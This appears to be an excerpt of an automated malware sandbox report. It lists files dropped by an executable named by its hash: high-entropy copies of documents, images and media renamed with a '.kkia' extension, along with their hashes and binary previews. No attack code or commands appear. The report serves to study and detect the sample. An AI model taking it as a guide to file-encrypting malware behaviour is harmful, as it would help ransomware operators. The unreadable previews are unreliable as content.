Preview:	ZIPXY...,.,......Yua.`k.h:.SD..UQ.UE...d.#a$N..E.nc5..0...+..~..P'..at....0i..h..+\..\.....A"f.X.^Q...Q........C.@2..G\|..TO&..... .....SK...V.}BM..\|..@W..#....AK.$..^P...v...p.kI.Cc.b\..?...p^G....J..\$\|.}.......l..#.W.Z.....=........g....R..4T..x.q.?._..Y.C.X.c....D..'Rs.#.;.]f.=d.c.p..'..\|X... /c.k...1........V.!..6NK.cg`.2.G./.Z........7Ws....".1..L..h.....Q...{.x>>.....W..Q......\|G.&..{<K.$5f....k.......7......T..E.x.NV..Ap.J..l.`D...b..h...lJ..sro..l]............c.."<...I-.."a...=x........c,....,.......~~.+.\.UU`..P...-...TU.0..#.I^=..B........L.ZX..Vm.....:V,e.......x.L.........x..X.f...Mh~s.._Fo\|....}.S.n../....:..8...C.......e.......7r.0kD..Ty.(..j ..z..X........iEqL!...`.uT.1XNT..Ck....O.`M....9.....g...~..%P..1......:'.-$....8N..'..O.1h..d.....A...T...[....EV...q..o.97.1.U?J..y.......C...[..q{d.....L`.....)...P.p ......G.Uni.)%..dwJ..U..?..:W$.../..d........=...:....;.7....x[...*..z..%,~..S..$../..?x>I.3lz...O..'..H.

C:\Users\user\Documents\BNAGMGSPLO.docx

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.849617863242188
Encrypted:	false
SSDEEP:	24:8CiQ/6TjGMzWL09Cotp3mxL8k6HkRaZHE1cJzrQ2LWJnGdGM0gLM/0U3ET98tjkX:JIjGMhCWlmB8zZHE1cJzM2kJMFLLgC7D
MD5:	37222AD3713BEB13D0362F123DF522F2
SHA1:	B2F51C4942737429D76F11F9529A023CAC6053ED
SHA-256:	0CF651B474091EAE96115E6744DB73987612CD7DC897F12AC374D9DF8380A114
SHA-512:	6E0BF77FF5F11564FEE497E767E375CCBB91AC54523D6A866539E1BB63D56EFDDE1DAA48E29FAE570C770962EF9B302D58305060370788C419E7E0874111DA42
Malicious:	false
Preview:	BNAGM.G8.....a69X..Q;=.w.7@....gSA..'.&...[.E/..T..%B.s~.]Y.af..r.H...#.N.&.T.l...d0...k.@X...... ....."F"..3.h0.q...).PH....8....;f..6Z..vP..j. f.~..p.P.8@T\|....'K.@{......3..9,A....f.1G=..H..k.._...1R.zH.....mr4.......Z..^...EM1...t..n..erg..;.....m....."A.{..S]t;+I.~.L!.x/.X..4+......YT.H.....e....=...3..Dc.3...by...oi.+.q..W.....Ha]..%.....M..6..'v....p..~.A1.p.....~nS....bP+/..iq..*.}.....L?.U.1f.W...Z...xY..7..I.MO.e...9....A}.....2...O.6@..E...(4E;U.U...../..H...,.G....N.j....fh......rZ}........r...W9..X5.w...l.....y,./.U~......i.&e.?.D~..,p.9.P...N.....K.%.9..SN.7E$'.D.G..8.R./n...<`.....9y..z>....[ ..L....h.T%R......=9.~.......()....R......1/..7......'1^.K~....j1......Qa.Vv.......o)....7{....} .........^..}P.8..p...Fw....\.{.)n....2...F........7..,=P."\|w./.K.)0......"{i.YU........4..;x...NNa^..b.'.O..>,.ZtM.rz7...L.?.L.E.*z.w!K...z.....4.;..S.g.+.?\|.l...m...ov..Xf.X...-,Z..n~.\W...e..xy.Q(E_.Z.....>.i.COml.UX..F...2.>..mI..?.

C:\Users\user\Documents\BNAGMGSPLO.docx.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.849617863242188
Encrypted:	false
SSDEEP:	24:8CiQ/6TjGMzWL09Cotp3mxL8k6HkRaZHE1cJzrQ2LWJnGdGM0gLM/0U3ET98tjkX:JIjGMhCWlmB8zZHE1cJzM2kJMFLLgC7D
MD5:	37222AD3713BEB13D0362F123DF522F2
SHA1:	B2F51C4942737429D76F11F9529A023CAC6053ED
SHA-256:	0CF651B474091EAE96115E6744DB73987612CD7DC897F12AC374D9DF8380A114
SHA-512:	6E0BF77FF5F11564FEE497E767E375CCBB91AC54523D6A866539E1BB63D56EFDDE1DAA48E29FAE570C770962EF9B302D58305060370788C419E7E0874111DA42
Malicious:	false
Preview:	BNAGM.G8.....a69X..Q;=.w.7@....gSA..'.&...[.E/..T..%B.s~.]Y.af..r.H...#.N.&.T.l...d0...k.@X...... ....."F"..3.h0.q...).PH....8....;f..6Z..vP..j. f.~..p.P.8@T\|....'K.@{......3..9,A....f.1G=..H..k.._...1R.zH.....mr4.......Z..^...EM1...t..n..erg..;.....m....."A.{..S]t;+I.~.L!.x/.X..4+......YT.H.....e....=...3..Dc.3...by...oi.+.q..W.....Ha]..%.....M..6..'v....p..~.A1.p.....~nS....bP+/..iq..*.}.....L?.U.1f.W...Z...xY..7..I.MO.e...9....A}.....2...O.6@..E...(4E;U.U...../..H...,.G....N.j....fh......rZ}........r...W9..X5.w...l.....y,./.U~......i.&e.?.D~..,p.9.P...N.....K.%.9..SN.7E$'.D.G..8.R./n...<`.....9y..z>....[ ..L....h.T%R......=9.~.......()....R......1/..7......'1^.K~....j1......Qa.Vv.......o)....7{....} .........^..}P.8..p...Fw....\.{.)n....2...F........7..,=P."\|w./.K.)0......"{i.YU........4..;x...NNa^..b.'.O..>,.ZtM.rz7...L.?.L.E.*z.w!K...z.....4.;..S.g.+.?\|.l...m...ov..Xf.X...-,Z..n~.\W...e..xy.Q(E_.Z.....>.i.COml.UX..F...2.>..mI..?.

C:\Users\user\Documents\BNAGMGSPLO\BNAGMGSPLO.docx

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.853830652751143
Encrypted:	false
SSDEEP:	24:v/dsDNO0mNlx83DaT7/jvnWuM+a4uNwLtOVLbhDtQK8d9JRFQ0MtSOaz6sJCkbD:3dcGlx8TaT7/S39N+tO1bUK8dHLy2zjl
MD5:	F045981CCDFBDF9C8B4D16A6D2D2B59F
SHA1:	74F16DB83D9A406C0DD7A8EA3370ECDD5F362EA3
SHA-256:	5FE9C30145ED1DE77DB9EAA12E7FE4FE73204DC50525BD324FDF96635DC1E975
SHA-512:	CC7A9DF1D416FC8F4F0C1C3F7F3C1E4358E88EC27773F2A3FEAE8AAB8CB1F6CBCFA623D36BF39D12007A232188E91E7B790ABE7F84C85CC547E53621E0F73AC2
Malicious:	false
Preview:	BNAGM.[{..I.Zo....!%I........F.......gS-.HaDo..F.......C..T.....'.'..{c..I..ku..n.3Z....]@i..3.f0<.._8...%b..3P.U..JU...5t.#.`)g....f..Y..XlZ.d=q...fGw>g.....B..Z..k3._]v.4.Q..sAR....#.b.U....Xd,T=.........h...."S.....c.J..\|..E.bJ..R..".N.-.?./..fJ...Fu....7.'.....A.v..J.$P.."..(.d.D.K....\....%...h......I...`F>..).;.E.S.[n+\....q..Mc-C.....K..uh...?.t..........0.HM.a....]...~.{.)$.......e.U7;.u.X'.e...6C..p.../.hZQ...#.. .l]O....vC....l.k....~j..-.....;N......r>.......,.q@....o.i...5..$g:........<..L.d.^.......e.......P:.....<../....T(S..S......4.>..fh ......kx6.y.......E..3....'.2....@.lX.s....T.S..e..........;...k..v+..\.B]..N...#i....Q....6\....G...-f.......9c...E].Vn.X...../.d...`l(*.....;.G...Lc.SY;:.G.R..5m....k.......n.....W..6.p..[.+..Bs{K..].u&F0..C.......)%...V....r........yz....r..`...v..F..X.I&JG.b..qj.0.#.F.g.....@.Fl.+.G0Q......a.b...b..9...6....X..}^.EAn.....@.2._.@.....h+...wcG;.?=..hg.......R...q^. ..XQC..]....C`'.&?.

C:\Users\user\Documents\BNAGMGSPLO\BNAGMGSPLO.docx.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.853830652751143
Encrypted:	false
SSDEEP:	24:v/dsDNO0mNlx83DaT7/jvnWuM+a4uNwLtOVLbhDtQK8d9JRFQ0MtSOaz6sJCkbD:3dcGlx8TaT7/S39N+tO1bUK8dHLy2zjl
MD5:	F045981CCDFBDF9C8B4D16A6D2D2B59F
SHA1:	74F16DB83D9A406C0DD7A8EA3370ECDD5F362EA3
SHA-256:	5FE9C30145ED1DE77DB9EAA12E7FE4FE73204DC50525BD324FDF96635DC1E975
SHA-512:	CC7A9DF1D416FC8F4F0C1C3F7F3C1E4358E88EC27773F2A3FEAE8AAB8CB1F6CBCFA623D36BF39D12007A232188E91E7B790ABE7F84C85CC547E53621E0F73AC2
Malicious:	false
Preview:	BNAGM.[{..I.Zo....!%I........F.......gS-.HaDo..F.......C..T.....'.'..{c..I..ku..n.3Z....]@i..3.f0<.._8...%b..3P.U..JU...5t.#.`)g....f..Y..XlZ.d=q...fGw>g.....B..Z..k3._]v.4.Q..sAR....#.b.U....Xd,T=.........h...."S.....c.J..\|..E.bJ..R..".N.-.?./..fJ...Fu....7.'.....A.v..J.$P.."..(.d.D.K....\....%...h......I...`F>..).;.E.S.[n+\....q..Mc-C.....K..uh...?.t..........0.HM.a....]...~.{.)$.......e.U7;.u.X'.e...6C..p.../.hZQ...#.. .l]O....vC....l.k....~j..-.....;N......r>.......,.q@....o.i...5..$g:........<..L.d.^.......e.......P:.....<../....T(S..S......4.>..fh ......kx6.y.......E..3....'.2....@.lX.s....T.S..e..........;...k..v+..\.B]..N...#i....Q....6\....G...-f.......9c...E].Vn.X...../.d...`l(*.....;.G...Lc.SY;:.G.R..5m....k.......n.....W..6.p..[.+..Bs{K..].u&F0..C.......)%...V....r........yz....r..`...v..F..X.I&JG.b..qj.0.#.F.g.....@.Fl.+.G0Q......a.b...b..9...6....X..}^.EAn.....@.2._.@.....h+...wcG;.?=..hg.......R...q^. ..XQC..]....C`'.&?.

C:\Users\user\Documents\BNAGMGSPLO\EEGWXUHVUG.pdf

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8544817527784945
Encrypted:	false
SSDEEP:	24:pUKtzSwg1Uyi76Wo50ZWoNB3XlNaCum6Gj1ArPrXaFelsSkbD:plt2Lo6Wo50ZNvlNaY6G5qrKUls3D
MD5:	7E95BE9CF0215062F8F9BFDCA0E16464
SHA1:	71D9780E5D567D7AE594B41CF390C869199B9D22
SHA-256:	BAF7BDADF67178EFF9214CDF2AC33AC7AF08D578B7E223F9C4A0564B63D78E1C
SHA-512:	FFF29E75F4D7DDACA3FA49AAAFC43D6BA8269AF350FFB12C001A55B50025DF2F9A2CF18274F982606A8CD7123DC1F12E51D476F2CC4D2123331ACCB4E23F26B3
Malicious:	false
Preview:	EEGWX.^..a....l..'It.]V.(]......igc..d.....bQ.$....[y.........r7l;..<^.&.....l..,.L..5[.Y.N.>.....5Ww......>.d.j..YCz...-b.GE..+...m..xEW=1\|mE(+..;../R............2`.H.Wd\|.\.6.}0.B...)...P..1b.w6.&..?.mL.M.-.g^....R..s.s+.M=j.588-\|.......X.3..3......-..L..2m.]...&.......2....Qb..._9......d..q..<......4...{....k..Z].7.y..1,v2f..........S..t..@\|...(.+....B.f..3...3(.k.(.f~CX_..Y.}.s....+]...miOs......d@^!.......%...J.a.`.3..9.u....L...........ang.^..L1.<..S!.bOU.Nq.\|...Tl....r....1B_.?`.\s".......,R..}.7mQD2..(..H.h...B..O..S&Tu.......);..~. .6.8]?.,.#w7.E)...%5:Qe......%{.zQX...o.e........<.}q+Zn0.....].....%uUG.PS..9..y:~..>K.3Sq...o...q...bPJ\.X.n2,.gQP.h.e1..S.$....?.9,\<~.z..0.1.....<k J.I...r...5..n..P...~.WRB.o.'.1"NC.t.......r.....(...#...[..NVA6....Vdv..../G.31.7l.{..'l.......{...'.-..F..u..s'...~.q.Yn..'.K.W9`.....CC.v.^......zG..............G...B..T..~..M~:Idf.4G..N.\|L.<...D.......j>.Crm..z..\\.Zq.............4zQ..3.....P....

C:\Users\user\Documents\BNAGMGSPLO\EEGWXUHVUG.pdf.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8544817527784945
Encrypted:	false
SSDEEP:	24:pUKtzSwg1Uyi76Wo50ZWoNB3XlNaCum6Gj1ArPrXaFelsSkbD:plt2Lo6Wo50ZNvlNaY6G5qrKUls3D
MD5:	7E95BE9CF0215062F8F9BFDCA0E16464
SHA1:	71D9780E5D567D7AE594B41CF390C869199B9D22
SHA-256:	BAF7BDADF67178EFF9214CDF2AC33AC7AF08D578B7E223F9C4A0564B63D78E1C
SHA-512:	FFF29E75F4D7DDACA3FA49AAAFC43D6BA8269AF350FFB12C001A55B50025DF2F9A2CF18274F982606A8CD7123DC1F12E51D476F2CC4D2123331ACCB4E23F26B3
Malicious:	false
Preview:	EEGWX.^..a....l..'It.]V.(]......igc..d.....bQ.$....[y.........r7l;..<^.&.....l..,.L..5[.Y.N.>.....5Ww......>.d.j..YCz...-b.GE..+...m..xEW=1\|mE(+..;../R............2`.H.Wd\|.\.6.}0.B...)...P..1b.w6.&..?.mL.M.-.g^....R..s.s+.M=j.588-\|.......X.3..3......-..L..2m.]...&.......2....Qb..._9......d..q..<......4...{....k..Z].7.y..1,v2f..........S..t..@\|...(.+....B.f..3...3(.k.(.f~CX_..Y.}.s....+]...miOs......d@^!.......%...J.a.`.3..9.u....L...........ang.^..L1.<..S!.bOU.Nq.\|...Tl....r....1B_.?`.\s".......,R..}.7mQD2..(..H.h...B..O..S&Tu.......);..~. .6.8]?.,.#w7.E)...%5:Qe......%{.zQX...o.e........<.}q+Zn0.....].....%uUG.PS..9..y:~..>K.3Sq...o...q...bPJ\.X.n2,.gQP.h.e1..S.$....?.9,\<~.z..0.1.....<k J.I...r...5..n..P...~.WRB.o.'.1"NC.t.......r.....(...#...[..NVA6....Vdv..../G.31.7l.{..'l.......{...'.-..F..u..s'...~.q.Yn..'.K.W9`.....CC.v.^......zG..............G...B..T..~..M~:Idf.4G..N.\|L.<...D.......j>.Crm..z..\\.Zq.............4zQ..3.....P....

C:\Users\user\Documents\BNAGMGSPLO\EFOYFBOLXA.png

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.848773199167511
Encrypted:	false
SSDEEP:	24:4hy69vnAB4o3n4p0uv4fk8n0pQvxnEjL9vjUgA6/r3NTSFdelTtlkbD:N6gJ4pbwcpQe5jr/rdmvUiD
MD5:	E135458B2147FDBF04A39304AE293F7F
SHA1:	3131C65557CFBAE4B2DC2ED9DCC18BF0EF485E6A
SHA-256:	454BCBFCA11A523B53D950BA6E03FAF43C3851B0A6EC27A6FBAB53ECC937A4B9
SHA-512:	0390C9F343F378F8F5A8804E5E96976316156B6787503C7AFB6B9F193EDE17989F2DA6FD39C1DA5462951C3BBCE5EBB955C6A2E71CAB54354854B7B0E0D35AFF
Malicious:	false
Preview:	EFOYF..zNu..a1.N..I..ro8.....`r.yu.}......?^.;.:......B.!...3.B.Q....1\....`.....y.^.r/.>0... ..{....V %...Y-.....Qfj.gL..l.vK....{^......0i.....Ks......&.(d.J....VY./.=..x...{.........u. ....g.o...1..z.....j..F.....a.V..K...#g...X.....o..,4..L.m....JOT...'.x...D.O,Ga....6.......`Jv.'....FZ."...UUY.\|..(G....V1lh...,.O.b3...=.k.x..<.?2..4_.^.?.%$..!D...?...hNC.Z'.W}..!.0....0.W....1.....(..Gs.ovi<.\.... i.\|.&..h..8.}y0~..."}.oeQ....1.......9\|..&.{.,.F........8k.....[..A.Y.Tv.........V.s9.^2..c.#.i:...s....R.^m..k.m..@.`..t..C`..^..r..P./.R.H...V..D..D.Y.A`.M..o.y.j8....74..Eyg....1.!..E.......U.,..tb-:."0H.._..O=.[........9^_.\|...&.........c.k..NK`lGH..=.......?.`k.._h.a.F$....Y.....}.s.tP.%>1...\|.Z;3..mX.5MV.NL,.0/...)r...=8.@2..........L....d.X5...(..P.........6...n....X[Z.7.*....(.k...I...-. ..-sC..2.w.xJP.Ka....&h.x^`...(.7U.'...O...F3.-}).S{.=.l..{..M...90.....0...a[=.p.b...t.p...e..9O._v..../K...G.[..........K0.(x....R.O..:..y.%....

C:\Users\user\Documents\BNAGMGSPLO\EFOYFBOLXA.png.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.848773199167511
Encrypted:	false
SSDEEP:	24:4hy69vnAB4o3n4p0uv4fk8n0pQvxnEjL9vjUgA6/r3NTSFdelTtlkbD:N6gJ4pbwcpQe5jr/rdmvUiD
MD5:	E135458B2147FDBF04A39304AE293F7F
SHA1:	3131C65557CFBAE4B2DC2ED9DCC18BF0EF485E6A
SHA-256:	454BCBFCA11A523B53D950BA6E03FAF43C3851B0A6EC27A6FBAB53ECC937A4B9
SHA-512:	0390C9F343F378F8F5A8804E5E96976316156B6787503C7AFB6B9F193EDE17989F2DA6FD39C1DA5462951C3BBCE5EBB955C6A2E71CAB54354854B7B0E0D35AFF
Malicious:	false
Preview:	EFOYF..zNu..a1.N..I..ro8.....`r.yu.}......?^.;.:......B.!...3.B.Q....1\....`.....y.^.r/.>0... ..{....V %...Y-.....Qfj.gL..l.vK....{^......0i.....Ks......&.(d.J....VY./.=..x...{.........u. ....g.o...1..z.....j..F.....a.V..K...#g...X.....o..,4..L.m....JOT...'.x...D.O,Ga....6.......`Jv.'....FZ."...UUY.\|..(G....V1lh...,.O.b3...=.k.x..<.?2..4_.^.?.%$..!D...?...hNC.Z'.W}..!.0....0.W....1.....(..Gs.ovi<.\.... i.\|.&..h..8.}y0~..."}.oeQ....1.......9\|..&.{.,.F........8k.....[..A.Y.Tv.........V.s9.^2..c.#.i:...s....R.^m..k.m..@.`..t..C`..^..r..P./.R.H...V..D..D.Y.A`.M..o.y.j8....74..Eyg....1.!..E.......U.,..tb-:."0H.._..O=.[........9^_.\|...&.........c.k..NK`lGH..=.......?.`k.._h.a.F$....Y.....}.s.tP.%>1...\|.Z;3..mX.5MV.NL,.0/...)r...=8.@2..........L....d.X5...(..P.........6...n....X[Z.7.*....(.k...I...-. ..-sC..2.w.xJP.Ka....&h.x^`...(.7U.'...O...F3.-}).S{.=.l..{..M...90.....0...a[=.p.b...t.p...e..9O._v..../K...G.[..........K0.(x....R.O..:..y.%....

C:\Users\user\Documents\BNAGMGSPLO\GRXZDKKVDB.mp3

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.873238791232517
Encrypted:	false
SSDEEP:	24:t/DhkVQ2z/iG2NleSHb+g4zH5luo6hmOyREmpcAkpD7DMPW0yUUU+epGfJkbD:VeVQ27iLuSH6galLSyqmpcAkJDfBUUUX
MD5:	CD0AE128B7668635734E62348F1D4D90
SHA1:	434D917F6A19732F3EA204035B4EB32D716286F3
SHA-256:	AA8B484FC2412885836702B66C6E5D8EA087FCD34788D29F6F6E32A4255A5E9C
SHA-512:	C3E49299525379CA4AD6A1165DAF88523CBE64BDEB06453CF2BF4DEC595A630B9379F95F466E700C1AD88B513DEA8286B665630E3DF743601C29074A478FC49A
Malicious:	false
Preview:	GRXZDk.P2l...Z.@M.....>Rdw.Xz,...e.....s.AUrx....2...gs~..F.k../.2..../.Q..E...2.....i..t..]^..on...R.<.s...E.._4.&......a....1W#s...\|....-..g./t=<-..'..=....rno..\..%..m.mOG...e......+.(.4Y8....=m.....&....0....+9...>...M..l.....I..,.W.Q....u...1Gd.......!y.]#zu.)........V.q..+.(..L1.,.^l.@...P.T<.v..S..7....z.I..5..l.mc...P.r/.`....A..H./.[....WT{.,u._.bX~.."..q....\|.:.7...%!".F....b[.CL.).{...u..\h.:}..v....RK.E..p"..d\....t...8.Y.zy.V......oZ.!f6+h...:..\..l...K.m.R..;......c+.&.J..I.2s..Vc.I.....D.cx..A...v.t..%u..y7...8&.... 9-Z[.........E.....Y......]?....1....v.Dn...N.kT....}....Sk.0..j.6.C.....n..6.DY_0...P.'&....}.eV......F.K...y......I..o..f_.....-..\^..1.N.E.[......f.......@".K..Z. t....)].."..+.M..y\|.i....p...@5]E.i....GW...U..r.........6?}8....<R..."..Z..jr....f..y%...x.......8...!~..6.....d;O..D.[...\|.4..G._pm.W..u...p).....s....-........f....]..uBq.>..T.W ..G....._..jJ{"...0....p.!.^..I....AM}...Qk..../Uh..j..F

C:\Users\user\Documents\BNAGMGSPLO\GRXZDKKVDB.mp3.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.873238791232517
Encrypted:	false
SSDEEP:	24:t/DhkVQ2z/iG2NleSHb+g4zH5luo6hmOyREmpcAkpD7DMPW0yUUU+epGfJkbD:VeVQ27iLuSH6galLSyqmpcAkJDfBUUUX
MD5:	CD0AE128B7668635734E62348F1D4D90
SHA1:	434D917F6A19732F3EA204035B4EB32D716286F3
SHA-256:	AA8B484FC2412885836702B66C6E5D8EA087FCD34788D29F6F6E32A4255A5E9C
SHA-512:	C3E49299525379CA4AD6A1165DAF88523CBE64BDEB06453CF2BF4DEC595A630B9379F95F466E700C1AD88B513DEA8286B665630E3DF743601C29074A478FC49A
Malicious:	false
Preview:	GRXZDk.P2l...Z.@M.....>Rdw.Xz,...e.....s.AUrx....2...gs~..F.k../.2..../.Q..E...2.....i..t..]^..on...R.<.s...E.._4.&......a....1W#s...\|....-..g./t=<-..'..=....rno..\..%..m.mOG...e......+.(.4Y8....=m.....&....0....+9...>...M..l.....I..,.W.Q....u...1Gd.......!y.]#zu.)........V.q..+.(..L1.,.^l.@...P.T<.v..S..7....z.I..5..l.mc...P.r/.`....A..H./.[....WT{.,u._.bX~.."..q....\|.:.7...%!".F....b[.CL.).{...u..\h.:}..v....RK.E..p"..d\....t...8.Y.zy.V......oZ.!f6+h...:..\..l...K.m.R..;......c+.&.J..I.2s..Vc.I.....D.cx..A...v.t..%u..y7...8&.... 9-Z[.........E.....Y......]?....1....v.Dn...N.kT....}....Sk.0..j.6.C.....n..6.DY_0...P.'&....}.eV......F.K...y......I..o..f_.....-..\^..1.N.E.[......f.......@".K..Z. t....)].."..+.M..y\|.i....p...@5]E.i....GW...U..r.........6?}8....<R..."..Z..jr....f..y%...x.......8...!~..6.....d;O..D.[...\|.4..G._pm.W..u...p).....s....-........f....]..uBq.>..T.W ..G....._..jJ{"...0....p.!.^..I....AM}...Qk..../Uh..j..F

C:\Users\user\Documents\BNAGMGSPLO\NVWZAPQSQL.jpg

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.842426084148538
Encrypted:	false
SSDEEP:	24:F1OZAnkXnCmo2UHteLOW0qlpA7mXO7Npz99kBSAMbtOj2In3dpwsD8FkbD:F1ULnJonHgVzAaXyNpz99ZHZSPD80D
MD5:	78ABD2E09A78866FA22A7A71D4E06F8E
SHA1:	2CDB0ABCADD6096ADDB67038516FDE9151DF501D
SHA-256:	97998F1B2CB9CB35CC627623B81B32BFB607C95D36E0B2F70B3384C097AE8005
SHA-512:	DA96C1B39FC21362ECD864DEBD23A1A7168E291B5C3306D5380FB329EF48CDB1668D24EFD36FB3C3C6BFFA863FF9D09CF6312BABC21C0155C0F8EF5F1386697A
Malicious:	false
Preview:	NVWZA1B..B..MP.5%.U...$.$.....G..&.S..L.zs..]U...x`.yb..Q>c.N.p[h..Bt.U4..y....m\|.:._.U.w......Gj:I:f....y.wV=...z.....=..6..T@c9u...O..'9.P._.\.Pg".("..P......M\.....^7P.Y.M..u ..{..0.Z..ar...O...M...f.K.).~..J..~....u..7...:.......hz..-J..H....L...c.7y.:[........B....../)z.V.A.5.ZB`...3..y...c.......=...~.....%....f....,f.3.i.=........zz.Dv__....p...u.p.F..0..8...\|.!...V%.c..&.&.X.dM...M...r..5.a...1..j...5My..{.._..w.'....g...b...V.o......"..j....JE..gO...G2.J#=......S..../.9C...X...X)..lE.:.....'.[.....L....h.b.....=.X.E0#u`,.A~.$9..I..c..#Q....[.x.......5....5.'.BH@.."...u....`Y.J..C..3..C..N...-U.p$.Z...i.wL....M..t.1....A...Sc..iB..r$W.#......:J >...p....Ody..,........u.D7yY.#.....a2..Ti...U........r\..O..1u.,........#....<i^\|2.....W....W..U...f(.&e.D.u..b.....Q...!......m..'.$....476sV).J.:.#.W..a2..^.....9..D.S....08>.....O....Z[......%.}..9........1.......=..t...^#...*".&...(D.. .+.V...........!p....L...Dc..sO....$$.2n....mI.

C:\Users\user\Documents\BNAGMGSPLO\NVWZAPQSQL.jpg.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.842426084148538
Encrypted:	false
SSDEEP:	24:F1OZAnkXnCmo2UHteLOW0qlpA7mXO7Npz99kBSAMbtOj2In3dpwsD8FkbD:F1ULnJonHgVzAaXyNpz99ZHZSPD80D
MD5:	78ABD2E09A78866FA22A7A71D4E06F8E
SHA1:	2CDB0ABCADD6096ADDB67038516FDE9151DF501D
SHA-256:	97998F1B2CB9CB35CC627623B81B32BFB607C95D36E0B2F70B3384C097AE8005
SHA-512:	DA96C1B39FC21362ECD864DEBD23A1A7168E291B5C3306D5380FB329EF48CDB1668D24EFD36FB3C3C6BFFA863FF9D09CF6312BABC21C0155C0F8EF5F1386697A
Malicious:	false
Preview:	NVWZA1B..B..MP.5%.U...$.$.....G..&.S..L.zs..]U...x`.yb..Q>c.N.p[h..Bt.U4..y....m\|.:._.U.w......Gj:I:f....y.wV=...z.....=..6..T@c9u...O..'9.P._.\.Pg".("..P......M\.....^7P.Y.M..u ..{..0.Z..ar...O...M...f.K.).~..J..~....u..7...:.......hz..-J..H....L...c.7y.:[........B....../)z.V.A.5.ZB`...3..y...c.......=...~.....%....f....,f.3.i.=........zz.Dv__....p...u.p.F..0..8...\|.!...V%.c..&.&.X.dM...M...r..5.a...1..j...5My..{.._..w.'....g...b...V.o......"..j....JE..gO...G2.J#=......S..../.9C...X...X)..lE.:.....'.[.....L....h.b.....=.X.E0#u`,.A~.$9..I..c..#Q....[.x.......5....5.'.BH@.."...u....`Y.J..C..3..C..N...-U.p$.Z...i.wL....M..t.1....A...Sc..iB..r$W.#......:J >...p....Ody..,........u.D7yY.#.....a2..Ti...U........r\..O..1u.,........#....<i^\|2.....W....W..U...f(.&e.D.u..b.....Q...!......m..'.$....476sV).J.:.#.W..a2..^.....9..D.S....08>.....O....Z[......%.}..9........1.......=..t...^#...*".&...(D.. .+.V...........!p....L...Dc..sO....$$.2n....mI.

C:\Users\user\Documents\BNAGMGSPLO\SQSJKEBWDT.xlsx

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.841393283614661
Encrypted:	false
SSDEEP:	24:f4C/zKoEDi/js8A2auwiA1bT4gjD8ufNHnnA1cYoJTeCHaHJl2j/LpQjkbD:f4C/zKZi48A6EbTtH8C6voJTe4SlC/L/
MD5:	CF3C08489C9832F76836583B3AADC0A9
SHA1:	75F36E0BB3622FB4610A4EDB1F33532B719B62C7
SHA-256:	9942C0F19480E4887C683EE69599D01A070CA8914F28BF60D2B83B2C6E598661
SHA-512:	53B5E5C7CB6E942B4793AD7F851C0936CBB826327EC13B1E775622BBF4CF3D39C59DB8DBD34E7E2A7FA566140E48BE0415E9B2D69B6AF75F7AD14C2FC61B47FC
Malicious:	false
Preview:	SQSJK..$.\...r.G,Vp.......OgXO.......P..'..^.F...:..!5.G........~....se.N......ts.H....L...<}...OU.....{.7W....<h...ef9....Tx.zGu.C..c.i.b{.3Vl......A..+1.g......6....u..q..8..<.]FK.4F4...cX....Ce.P./..&....t..W....C\......e.4..'%...m.niB...5t..D.......R..&9/..B\ioP.kd...3.."..\i....a7-...k.,hVf..r.r....t=...........[....\|...vq.`.'~n."b:p/..G.[..V.V....s.....i.$.~y..t.).P....^../....._.!{].+'..e3..t].K.5taAGz..x.j...1.....m8.{.C6....F.. ..b.......(.#...V......G>.U.>....1a;."n....+0E.E...}.......Jf...7Q.}v.tL@.....k.......n?..YO.!n!z..}.%.8.@.=..41.N..n..N....l...N..>.d&.j1.fz...?W....PD........x..)..<.J..4....&"0..x....$...B1...#..>.T...A.....E.O..f...-..7.v.XzA.)..,J,b.:....p..C.a^`}...H.R.....'.!.....}x...3Y[0s8.'.@...?.ez2....:`..q..B'.+`;..1...I>...!9...^....Sq....F.5.I.A.....zy.O..)./..l\.......r......B.?."[../.0vb3oi<8..\..........^.6O../#[e%..<.\.....+.8..T.L...\|.mA.2. 